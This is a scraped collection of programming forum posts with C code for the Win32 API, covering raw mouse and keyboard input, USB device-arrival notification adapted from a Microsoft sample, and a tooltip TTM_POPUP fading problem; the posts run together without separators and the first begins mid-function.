else if (raw->header.dwType == RIM_TYPEMOUSE)
{
hResult = StringCchPrintf(szTempOutput, BUFFER,
TEXT("Mouse: usFlags=%04x ulButtons=%04x usButtonFlags=%04x usButtonData=%04x ulRawButtons=%04x lLastX=%04x lLastY=%04x ulExtraInformation=%04x\r\n"),
raw->data.mouse.usFlags,
raw->data.mouse.ulButtons,
raw->data.mouse.usButtonFlags,
raw->data.mouse.usButtonData,
raw->data.mouse.ulRawButtons,
raw->data.mouse.lLastX,
raw->data.mouse.lLastY,
raw->data.mouse.ulExtraInformation);
if (FAILED(hResult))
{
// TODO: write error handler
}
OutputDebugString(szTempOutput);
}
delete[] lpb;
return 0;
}
//
// FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
DWORD dwStyleOfStaticText = 0;
HWND hBmp2 = NULL;
WORD reason = 0;
switch (message)
{
case WM_INPUT:
{
ShowRawInputInfo(lParam);
break;
}
case WM_KEYDOWN:
WCHAR szTempOutput[512];
StringCchPrintf(szTempOutput, 512,
TEXT(" KeyValue=%04x\n"), wParam);
OutputDebugString(szTempOutput);
//PostMessage(hWnd, WM_COMMAND, KILLTHEWIN, 0);// hope it serializes message
//PostQuitMessage(0);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
Edit: Or Hook
I tried looking around and found a few solutions to detect a USB drive insertion, but none that I found were actually working in C.
I wanted to ask, how do I approach this problem?
What is the idea behind the detection process (Like, how is it done) ?
Thank you in advance! :)
The example at link https://msdn.microsoft.com/en-us/library/windows/desktop/aa363432(v=vs.85).aspx, given by Weather Vane, works in plain C, as I said in comments, with simple modifications.
Below there is the working modified code.
#define UNICODE 1
#define _UNICODE 1
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <strsafe.h>
#include <dbt.h>
#pragma comment(lib, "user32.lib" )
#pragma comment(lib, "Shell32.lib" )
void Main_OnDeviceChange( HWND hwnd, WPARAM wParam, LPARAM lParam );
char FirstDriveFromMask( ULONG unitmask ); //prototype
// This GUID is for all USB serial host PnP drivers, but you can replace it
// with any valid device class guid.
GUID WceusbshGUID = { 0x25dbce51, 0x6c8f, 0x4a72,
0x8a,0x6d,0xb5,0x4c,0x2b,0x4f,0xc8,0x35 };
// For informational messages and window titles
PWSTR g_pszAppName;
// Forward declarations
void OutputMessage(HWND hOutWnd, WPARAM wParam, LPARAM lParam);
void ErrorHandler(LPTSTR lpszFunction);
//
// DoRegisterDeviceInterfaceToHwnd
//
BOOL DoRegisterDeviceInterfaceToHwnd(
IN GUID InterfaceClassGuid,
IN HWND hWnd,
OUT HDEVNOTIFY *hDeviceNotify
)
// Routine Description:
// Registers an HWND for notification of changes in the device interfaces
// for the specified interface class GUID.
// Parameters:
// InterfaceClassGuid - The interface class GUID for the device
// interfaces.
// hWnd - Window handle to receive notifications.
// hDeviceNotify - Receives the device notification handle. On failure,
// this value is NULL.
// Return Value:
// If the function succeeds, the return value is TRUE.
// If the function fails, the return value is FALSE.
// Note:
// RegisterDeviceNotification also allows a service handle be used,
// so a similar wrapper function to this one supporting that scenario
// could be made from this template.
{
DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;
ZeroMemory( &NotificationFilter, sizeof(NotificationFilter) );
NotificationFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
NotificationFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE;
NotificationFilter.dbcc_classguid = InterfaceClassGuid;
*hDeviceNotify = RegisterDeviceNotification(
hWnd, // events recipient
&NotificationFilter, // type of device
DEVICE_NOTIFY_WINDOW_HANDLE // type of recipient handle
);
if ( NULL == *hDeviceNotify )
{
ErrorHandler(TEXT("RegisterDeviceNotification"));
return FALSE;
}
return TRUE;
}
//
// MessagePump
//
void MessagePump(
HWND hWnd
)
// Routine Description:
// Simple main thread message pump.
//
// Parameters:
// hWnd - handle to the window whose messages are being dispatched
// Return Value:
// None.
{
MSG msg;
int retVal;
// Get all messages for any window that belongs to this thread,
// without any filtering. Potential optimization could be
// obtained via use of filter values if desired.
while( (retVal = GetMessage(&msg, NULL, 0, 0)) != 0 )
{
if ( retVal == -1 )
{
ErrorHandler(TEXT("GetMessage"));
break;
}
else
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
//
// WinProcCallback
//
INT_PTR WINAPI WinProcCallback(
HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam
)
// Routine Description:
// Simple Windows callback for handling messages.
// This is where all the work is done because the example
// is using a window to process messages. This logic would be handled
// differently if registering a service instead of a window.
// Parameters:
// hWnd - the window handle being registered for events.
// message - the message being interpreted.
// wParam and lParam - extended information provided to this
// callback by the message sender.
// For more information regarding these parameters and return value,
// see the documentation for WNDCLASSEX and CreateWindowEx.
{
LRESULT lRet = 1;
static HDEVNOTIFY hDeviceNotify;
static HWND hEditWnd;
static ULONGLONG msgCount = 0;
switch (message)
{
case WM_CREATE:
//
// This is the actual registration., In this example, registration
// should happen only once, at application startup when the window
// is created.
//
// If you were using a service, you would put this in your main code
// path as part of your service initialization.
//
if ( ! DoRegisterDeviceInterfaceToHwnd(
WceusbshGUID,
hWnd,
&hDeviceNotify) )
{
// Terminate on failure.
ErrorHandler(TEXT("DoRegisterDeviceInterfaceToHwnd"));
ExitProcess(1);
}
//
// Make the child window for output.
//
hEditWnd = CreateWindow(TEXT("EDIT"),// predefined class
NULL, // no window title
WS_CHILD | WS_VISIBLE | WS_VSCROLL |
ES_LEFT | ES_MULTILINE | ES_AUTOVSCROLL,
0, 0, 0, 0, // set size in WM_SIZE message
hWnd, // parent window
(HMENU)1, // edit control ID
(HINSTANCE) GetWindowLong(hWnd, GWL_HINSTANCE),
NULL); // pointer not needed
if ( hEditWnd == NULL )
{
// Terminate on failure.
ErrorHandler(TEXT("CreateWindow: Edit Control"));
ExitProcess(1);
}
// Add text to the window.
SendMessage(hEditWnd, WM_SETTEXT, 0,
(LPARAM)TEXT("Registered for USB device notification...\n"));
break;
case WM_SETFOCUS:
SetFocus(hEditWnd);
break;
case WM_SIZE:
// Make the edit control the size of the window's client area.
MoveWindow(hEditWnd,
0, 0, // starting x- and y-coordinates
LOWORD(lParam), // width of client area
HIWORD(lParam), // height of client area
TRUE); // repaint window
break;
case WM_DEVICECHANGE:
{
//
// This is the actual message from the interface via Windows messaging.
// This code includes some additional decoding for this particular device type
// and some common validation checks.
//
// Note that not all devices utilize these optional parameters in the same
// way. Refer to the extended information for your particular device type
// specified by your GUID.
//
PDEV_BROADCAST_DEVICEINTERFACE b = (PDEV_BROADCAST_DEVICEINTERFACE) lParam;
(void)b;
TCHAR strBuff[256];
Main_OnDeviceChange(hEditWnd, wParam, lParam);
// Output some messages to the window.
switch (wParam)
{
case DBT_DEVICEARRIVAL:
msgCount++;
StringCchPrintf(
strBuff, 256,
TEXT("Message %d: DBT_DEVICEARRIVAL\n"), msgCount);
break;
case DBT_DEVICEREMOVECOMPLETE:
msgCount++;
StringCchPrintf(
strBuff, 256,
TEXT("Message %d: DBT_DEVICEREMOVECOMPLETE\n"), msgCount);
break;
case DBT_DEVNODES_CHANGED:
msgCount++;
StringCchPrintf(
strBuff, 256,
TEXT("Message %d: DBT_DEVNODES_CHANGED\n"), msgCount);
break;
default:
msgCount++;
StringCchPrintf(
strBuff, 256,
TEXT("Message %d: WM_DEVICECHANGE message received, value %d unhandled.\n"),
msgCount, wParam);
break;
}
OutputMessage(hEditWnd, wParam, (LPARAM)strBuff);
}
break;
case WM_CLOSE:
if ( ! UnregisterDeviceNotification(hDeviceNotify) )
{
ErrorHandler(TEXT("UnregisterDeviceNotification"));
}
DestroyWindow(hWnd);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
// Send all other messages on to the default windows handler.
lRet = DefWindowProc(hWnd, message, wParam, lParam);
break;
}
return lRet;
}
#define WND_CLASS_NAME TEXT("SampleAppWindowClass")
//
// InitWindowClass
//
BOOL InitWindowClass(void)
// Routine Description:
// Simple wrapper to initialize and register a window class.
// Parameters:
// None
// Return Value:
// TRUE on success, FALSE on failure.
// Note:
// wndClass.lpfnWndProc and wndClass.lpszClassName are the
// important unique values used with CreateWindowEx and the
// Windows message pump.
{
WNDCLASSEX wndClass;
wndClass.cbSize = sizeof(WNDCLASSEX);
wndClass.style = CS_OWNDC | CS_HREDRAW | CS_VREDRAW;
wndClass.hInstance = (HINSTANCE)(GetModuleHandle(0));
wndClass.lpfnWndProc = (WNDPROC)(WinProcCallback);
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hIcon = LoadIcon(0,IDI_APPLICATION);
wndClass.hbrBackground = CreateSolidBrush(RGB(192,192,192));
wndClass.hCursor = LoadCursor(0, IDC_ARROW);
wndClass.lpszClassName = WND_CLASS_NAME;
wndClass.lpszMenuName = NULL;
wndClass.hIconSm = wndClass.hIcon;
if ( ! RegisterClassEx(&wndClass) )
{
ErrorHandler(TEXT("RegisterClassEx"));
return FALSE;
}
return TRUE;
}
//
// main
//
int __stdcall _tWinMain(
HINSTANCE hInstanceExe,
HINSTANCE hInst, // should not reference this parameter
PTSTR lpstrCmdLine,
int nCmdShow
)
{
//
// To enable a console project to compile this code, set
// Project->Properties->Linker->System->Subsystem: Windows.
//
int nArgC = 0;
PWSTR* ppArgV = CommandLineToArgvW(lpstrCmdLine, &nArgC);
g_pszAppName = ppArgV[0];
if ( ! InitWindowClass() )
{
// InitWindowClass displays any errors
return -1;
}
// Main app window
HWND hWnd = CreateWindowEx(
WS_EX_CLIENTEDGE | WS_EX_APPWINDOW,
WND_CLASS_NAME,
g_pszAppName,
WS_OVERLAPPEDWINDOW, // style
CW_USEDEFAULT, 0,
640, 480,
NULL, NULL,
hInstanceExe,
NULL);
if ( hWnd == NULL )
{
ErrorHandler(TEXT("CreateWindowEx: main appwindow hWnd"));
return -1;
}
// Actually draw the window.
ShowWindow(hWnd, SW_SHOWNORMAL);
UpdateWindow(hWnd);
// The message pump loops until the window is destroyed.
MessagePump(hWnd);
return 1;
}
//
// OutputMessage
//
void OutputMessage(
HWND hOutWnd,
WPARAM wParam,
LPARAM lParam
)
// Routine Description:
// Support routine.
// Send text to the output window, scrolling if necessary.
// Parameters:
// hOutWnd - Handle to the output window.
// wParam - Standard windows message code, not used.
// lParam - String message to send to the window.
// Return Value:
// None
// Note:
// This routine assumes the output window is an edit control
// with vertical scrolling enabled.
// This routine has no error checking.
{
LRESULT lResult;
LONG bufferLen;
LONG numLines;
LONG firstVis;
// Make writable and turn off redraw.
lResult = SendMessage(hOutWnd, EM_SETREADONLY, FALSE, 0L);
lResult = SendMessage(hOutWnd, WM_SETREDRAW, FALSE, 0L);
// Obtain current text length in the window.
bufferLen = SendMessage (hOutWnd, WM_GETTEXTLENGTH, 0, 0L);
numLines = SendMessage (hOutWnd, EM_GETLINECOUNT, 0, 0L);
firstVis = SendMessage (hOutWnd, EM_GETFIRSTVISIBLELINE, 0, 0L);
lResult = SendMessage (hOutWnd, EM_SETSEL, bufferLen, bufferLen);
// Write the new text.
lResult = SendMessage (hOutWnd, EM_REPLACESEL, 0, lParam);
// See whether scrolling is necessary.
if (numLines > (firstVis + 1))
{
int lineLen = 0;
int lineCount = 0;
int charPos;
// Find the last nonblank line.
numLines--;
while(!lineLen)
{
charPos = SendMessage(
hOutWnd, EM_LINEINDEX, (WPARAM)numLines, 0L);
lineLen = SendMessage(
hOutWnd, EM_LINELENGTH, charPos, 0L);
if(!lineLen)
numLines--;
}
// Prevent negative value finding min.
lineCount = numLines - firstVis;
lineCount = (lineCount >= 0) ? lineCount : 0;
// Scroll the window.
lResult = SendMessage(
hOutWnd, EM_LINESCROLL, 0, (LPARAM)lineCount);
}
// Done, make read-only and allow redraw.
lResult = SendMessage(hOutWnd, WM_SETREDRAW, TRUE, 0L);
lResult = SendMessage(hOutWnd, EM_SETREADONLY, TRUE, 0L);
}
//
// ErrorHandler
//
void ErrorHandler(
LPTSTR lpszFunction
)
// Routine Description:
// Support routine.
// Retrieve the system error message for the last-error code
// and pop a modal alert box with usable info.
// Parameters:
// lpszFunction - String containing the function name where
// the error occurred plus any other relevant data you'd
// like to appear in the output.
// Return Value:
// None
// Note:
// This routine is independent of the other windowing routines
// in this application and can be used in a regular console
// application without modification.
{
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and exit the process.
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)
+ lstrlen((LPCTSTR)lpszFunction)+40)
* sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, g_pszAppName, MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
/*+##fnc##----------------------------------------------------------------*//*!
\brief Main_OnDeviceChange
\date Created on Sun Sep 10 15:10:10 2017
\date Modified on Sun Sep 10 15:10:10 2017
\*//*-##fnc##----------------------------------------------------------------*/
void Main_OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
TCHAR szMsg[80];
switch (wParam)
{
case DBT_DEVICEARRIVAL:
// Check whether a CD or DVD was inserted into a drive.
if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
if (lpdbv->dbcv_flags & DBTF_MEDIA)
{
StringCchPrintf(szMsg, sizeof(szMsg) / sizeof(szMsg[0]), TEXT("Drive %c: Media has arrived.\n"), FirstDriveFromMask(lpdbv->dbcv_unitmask));
//MessageBox( hwnd, szMsg, TEXT("WM_DEVICECHANGE"), MB_OK );
}
else
{
StringCchPrintf(szMsg, sizeof(szMsg) / sizeof(szMsg[0]), TEXT("Assigned drive letter '%c'\n"), FirstDriveFromMask(lpdbv->dbcv_unitmask));
}
OutputMessage(hwnd, wParam, (LPARAM)szMsg);
}
break;
case DBT_DEVICEREMOVECOMPLETE:
// Check whether a CD or DVD was removed from a drive.
if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
if (lpdbv->dbcv_flags & DBTF_MEDIA)
{
StringCchPrintf(szMsg, sizeof(szMsg) / sizeof(szMsg[0]), TEXT("Drive %c: Media was removed.\n"), FirstDriveFromMask(lpdbv->dbcv_unitmask));
//MessageBox( hwnd, szMsg, TEXT("WM_DEVICECHANGE" ), MB_OK );
}
else
{
StringCchPrintf(szMsg, sizeof(szMsg) / sizeof(szMsg[0]), TEXT("Disconnected drive '%c'\n"), FirstDriveFromMask(lpdbv->dbcv_unitmask));
}
OutputMessage(hwnd, wParam, (LPARAM)szMsg);
}
break;
default:
/*
Process other WM_DEVICECHANGE notifications for other
devices or reasons.
*/
;
}
}
/*------------------------------------------------------------------
FirstDriveFromMask( unitmask )
Description
Finds the first valid drive letter from a mask of drive letters.
The mask must be in the format bit 0 = A, bit 1 = B, bit 2 = C,
and so on. A valid drive letter is defined when the
corresponding bit is set to 1.
Returns the first drive letter that was found.
--------------------------------------------------------------------*/
char FirstDriveFromMask( ULONG unitmask )
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)
break;
unitmask = unitmask >> 1;
}
return( i + 'A' );
}
Basically remove reinterpret_cast to C casts. I.e.:
wndClass.hInstance = reinterpret_cast<HINSTANCE>(GetModuleHandle(0));
to
wndClass.hInstance = (HINSTANCE)(GetModuleHandle(0));
And add unused parameters name in functions definition (that is not allowed in standard C). I.e. change from:
int __stdcall _tWinMain(
HINSTANCE hInstanceExe,
HINSTANCE, // should not reference this parameter
PTSTR lpstrCmdLine,
int nCmdShow
)
to:
int __stdcall _tWinMain(
HINSTANCE hInstanceExe,
HINSTANCE hInst, // you **must define this parameter** even if it's not referenced
PTSTR lpstrCmdLine,
int nCmdShow
)
These simple modifications allow the use of almost all MS samples under plain-C compilers.
I have also added volume info.
To explain here in detail how the device notification framework works is just a waste of time. The MS documentation is complete and exhaustive, you can find all information on MSDN.
The translation I made give you the opportunity to study and test on your development environment in plain C, and this will allow to make experimentation.
Anyway the very basic essence is: the application (your program) registers itself with the notification server, that in turn, from now on until you unregister it, send all windows OS notification messages to your application. Each notification carries specific info data in specialized structures.
The full set of structure supplied with each notification (documented on MSDN) gives you indeep details on the type of change.
I've decided that th easiest way to handle tooltips in my table control is to handle the initial delay myself, create the tooltip dynamically, and then destroy it when it's not needed anymore. My problem is that when I use TTM_POPUP to show the tooltip, it fades out instantly and comes back again some time later. I'd rather have it fade in and stay there once.
My hypothesis is that the tooltip is handling the tooltip delay itself, and fading the existing tip out and back in. I'm not sure what to do about that. Should I just set the delay time to 0 and expect it to work (without worrying about TTM_POPUP at all)? Or is there a better way? Or am I wrong?
The program below demonstrates what's going on. Simply hover the mouse over the window and you should see it.
Tested on Windows XP and Windows 7. This is strictly with Common Controls 6.
EDIT Okay, I tried adding a TTM_SETDELAYTIME to set the initial time to 0 (not reflected in the program below). It didn't work. If I keep the TTM_POPUP afterward, it just fades out even faster than usual (which proves my hypothesis, maybe). If I remove the TTM_POPUP, it doesn't show up until I move the mouse anyway. So is there something else I can do to just get my tooltip to pop up?
Thanks!
// 5 april 2015
// based on wintooltipsubclasstest.c 31 march-2 april 2015
#define UNICODE
#define _UNICODE
#define STRICT
#define STRICT_TYPED_ITEMIDS
#define CINTERFACE
// get Windows version right; right now Windows XP
#define WINVER 0x0501
#define _WIN32_WINNT 0x0501
#define _WIN32_WINDOWS 0x0501 /* according to Microsoft's winperf.h */
#define _WIN32_IE 0x0600 /* according to Microsoft's sdkddkver.h */
#define NTDDI_VERSION 0x05010000 /* according to Microsoft's sdkddkver.h */
#include <windows.h>
#include <commctrl.h>
#include <windowsx.h>
#include <stdio.h>
#include <stdlib.h>
void die(char *why)
{
fprintf(stderr, "error %s: %I32u\n", why, GetLastError());
abort();
}
HWND tooltip = NULL;
HINSTANCE hInstance;
void makeTooltip(HWND hwnd)
{
TOOLINFOW ti;
tooltip = CreateWindowExW(WS_EX_TOOLWINDOW,
TOOLTIPS_CLASSW, L"",
WS_POPUP | TTS_NOPREFIX,
0, 0,
0, 0,
hwnd, NULL, hInstance, NULL);
if (tooltip == NULL)
die("creating tooltip");
ZeroMemory(&ti, sizeof (TOOLINFOW));
ti.cbSize = TTTOOLINFOW_V2_SIZE;
ti.uFlags = TTF_IDISHWND | TTF_SUBCLASS | TTF_TRANSPARENT;
ti.hwnd = hwnd;
ti.uId = (UINT_PTR) hwnd;
ti.hinst = hInstance;
ti.lpszText = L"this is a tooltip! wow!";
if (SendMessageW(tooltip, TTM_ADDTOOL, 0, (LPARAM) (&ti)) == FALSE)
die("setting up tooltip");
}
LPARAM last = 0;
LRESULT CALLBACK wndproc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg) {
case WM_CLOSE:
PostQuitMessage(0);
break;
case WM_MOUSEMOVE:
// cheap way of testing for hovers
if (lParam != last)
SetTimer(hwnd, 1, GetDoubleClickTime(), NULL);
last = lParam;
break;
case WM_TIMER:
if (wParam != 1)
break;
KillTimer(hwnd, 1);
makeTooltip(hwnd);
SendMessage(tooltip, TTM_POPUP, 0, 0);
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
void initCommonControls(BOOL);
int main(int argc, char *argv[])
{
BOOL comctl5;
WNDCLASSW wc;
HWND mainwin;
MSG msg;
hInstance = GetModuleHandle(NULL);
comctl5 = FALSE;
if (argc > 1)
comctl5 = strcmp(argv[1], "comctl5") == 0;
initCommonControls(comctl5);
ZeroMemory(&wc, sizeof (WNDCLASSW));
wc.lpszClassName = L"mainwin";
wc.lpfnWndProc = wndproc;
wc.hIcon = LoadIconW(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursorW(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH) (COLOR_BTNFACE + 1);
wc.hInstance = GetModuleHandle(NULL);
if (RegisterClassW(&wc) == 0)
die("registering main window class");
mainwin = CreateWindowExW(0,
L"mainwin", L"Main Window",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, GetModuleHandle(NULL), NULL);
if (mainwin == NULL)
die("creating main window");
ShowWindow(mainwin, SW_SHOWDEFAULT);
UpdateWindow(mainwin);
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
// MSDN doesn't list a constant that only includes tooltips but says this and a few others do
#define wantedICCClasses (ICC_BAR_CLASSES)
static ULONG_PTR comctlManifestCookie;
static HMODULE comctl32;
// note that this is an 8-bit character string we're writing; see the encoding clause
static const char manifest[] = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n<assemblyIdentity\n version=\"1.0.0.0\"\n processorArchitecture=\"*\"\n name=\"CompanyName.ProductName.YourApplication\"\n type=\"win32\"\n/>\n<description>Your application description here.</description>\n<dependency>\n <dependentAssembly>\n <assemblyIdentity\n type=\"win32\"\n name=\"Microsoft.Windows.Common-Controls\"\n version=\"6.0.0.0\"\n processorArchitecture=\"*\"\n publicKeyToken=\"6595b64144ccf1df\"\n language=\"*\"\n />\n </dependentAssembly>\n</dependency>\n</assembly>\n";
void initCommonControls(BOOL comctl5)
{
WCHAR temppath[MAX_PATH + 1];
WCHAR filename[MAX_PATH + 1];
HANDLE file;
DWORD nExpected, nGot;
ACTCTX actctx;
HANDLE ac;
INITCOMMONCONTROLSEX icc;
FARPROC f;
// this is listed as WINAPI in both Microsoft's and MinGW's headers, but not on MSDN for some reason
BOOL (*WINAPI ficc)(const LPINITCOMMONCONTROLSEX);
if (!comctl5) {
if (GetTempPathW(MAX_PATH + 1, temppath) == 0)
die("getting temporary path for writing manifest file");
if (GetTempFileNameW(temppath, L"manifest", 0, filename) == 0)
die("getting temporary filename for writing manifest file");
file = CreateFileW(filename, GENERIC_WRITE,
0, // don't share while writing
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == NULL)
die("creating manifest file");
nExpected = (sizeof manifest / sizeof manifest[0]) - 1; // - 1 to omit the terminating null character)
if (WriteFile(file, manifest, nExpected, &nGot, NULL) == 0)
die("writing manifest file");
if (nGot != nExpected)
die("short write to manifest file");
if (CloseHandle(file) == 0)
die("closing manifest file (this IS an error here because not doing so will prevent Windows from being able to use the manifest file in an activation context)");
ZeroMemory(&actctx, sizeof (ACTCTX));
actctx.cbSize = sizeof (ACTCTX);
actctx.dwFlags = ACTCTX_FLAG_SET_PROCESS_DEFAULT;
actctx.lpSource = filename;
ac = CreateActCtx(&actctx);
if (ac == INVALID_HANDLE_VALUE)
die("creating activation context for synthesized manifest file");
if (ActivateActCtx(ac, &comctlManifestCookie) == FALSE)
die("activating activation context for synthesized manifest file");
}
ZeroMemory(&icc, sizeof (INITCOMMONCONTROLSEX));
icc.dwSize = sizeof (INITCOMMONCONTROLSEX);
icc.dwICC = wantedICCClasses;
comctl32 = LoadLibraryW(L"comctl32.dll");
if (comctl32 == NULL)
die("loading comctl32.dll");
f = GetProcAddress(comctl32, "InitCommonControlsEx");
if (f == NULL)
die("loading InitCommonControlsEx()");
ficc = (BOOL (*WINAPI)(const LPINITCOMMONCONTROLSEX)) f;
if ((*ficc)(&icc) == FALSE)
die("initializing Common Controls (comctl32.dll)");
}